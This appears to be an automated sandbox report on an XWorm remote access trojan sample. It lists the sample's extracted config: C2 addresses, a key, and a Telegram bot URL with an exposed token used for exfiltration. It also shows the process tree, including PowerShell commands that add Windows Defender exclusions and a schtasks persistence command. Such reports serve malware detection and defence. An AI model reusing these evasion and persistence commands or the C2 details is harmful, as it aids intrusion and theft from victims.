Analysis
- max time kernel
149s - max time network
138s - platform
windows11-21h2_x64 - resource
win11-20240419-en - resource tags
- submitted
27/04/2024, 03:40
General
- Target b780f8659c3cfab33ffa95b25b396b2b8ade8bd40c72aaf7c87ad3c6b6cf34c5.exe
- Size 50KB
- Sample240427-d8hwvsba7x
- SHA256 b780f8659c3cfab33ffa95b25b396b2b8ade8bd40c72aaf7c87ad3c6b6cf34c5
Malware Config
Extracted
-
xworm
-
5.0
-
127.0.0.1:7000
-
91.92.252.220:7000
-
41.199.23.195:7000
-
saveclinetsforme68465454711991.publicvm.com:7000
-
bBT8anvIxhxDFmkf
-
Install_directory
%AppData%
-
install_file
explorer.exe
-
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672
Signatures
- Detect Xworm Payload 2 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Drops startup file 2 IoCs
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\b780f8659c3cfab33ffa95b25b396b2b8ade8bd40c72aaf7c87ad3c6b6cf34c5.exe"C:\Users\Admin\AppData\Local\Temp\b780f8659c3cfab33ffa95b25b396b2b8ade8bd40c72aaf7c87ad3c6b6cf34c5.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b780f8659c3cfab33ffa95b25b396b2b8ade8bd40c72aaf7c87ad3c6b6cf34c5.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'b780f8659c3cfab33ffa95b25b396b2b8ade8bd40c72aaf7c87ad3c6b6cf34c5.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\explorer.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "explorer" /tr "C:\Users\Admin\AppData\Roaming\explorer.exe"2⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Roaming\explorer.exeC:\Users\Admin\AppData\Roaming\explorer.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\explorer.exeC:\Users\Admin\AppData\Roaming\explorer.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
explorer.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_virt5l33.xur.ps1
explorer.exe
memory/768-55-0x000001249AE20000-0x000001249AF6F000-memory.dmp
memory/2004-33-0x0000029177000000-0x000002917714F000-memory.dmp
memory/3124-44-0x000002CB3A5A0000-0x000002CB3A6EF000-memory.dmp
memory/3304-6-0x0000023FDFE30000-0x0000023FDFE40000-memory.dmp
memory/3304-20-0x0000023FDFE40000-0x0000023FDFF8F000-memory.dmp
memory/3304-21-0x00007FFFAECC0000-0x00007FFFAF782000-memory.dmp
memory/3304-17-0x0000023FDFE30000-0x0000023FDFE40000-memory.dmp
memory/3304-12-0x0000023FC7960000-0x0000023FC7982000-memory.dmp
memory/3304-5-0x0000023FDFE30000-0x0000023FDFE40000-memory.dmp
memory/3304-4-0x00007FFFAECC0000-0x00007FFFAF782000-memory.dmp
memory/3748-16-0x00007FFFAECC0000-0x00007FFFAF782000-memory.dmp
memory/3748-0-0x0000000000E30000-0x0000000000E42000-memory.dmp
memory/3748-3-0x000000001BFE0000-0x000000001C0EA000-memory.dmp
memory/3748-61-0x000000001BBD0000-0x000000001BBE0000-memory.dmp
memory/3748-2-0x000000001BBD0000-0x000000001BBE0000-memory.dmp
memory/3748-1-0x00007FFFAECC0000-0x00007FFFAF782000-memory.dmp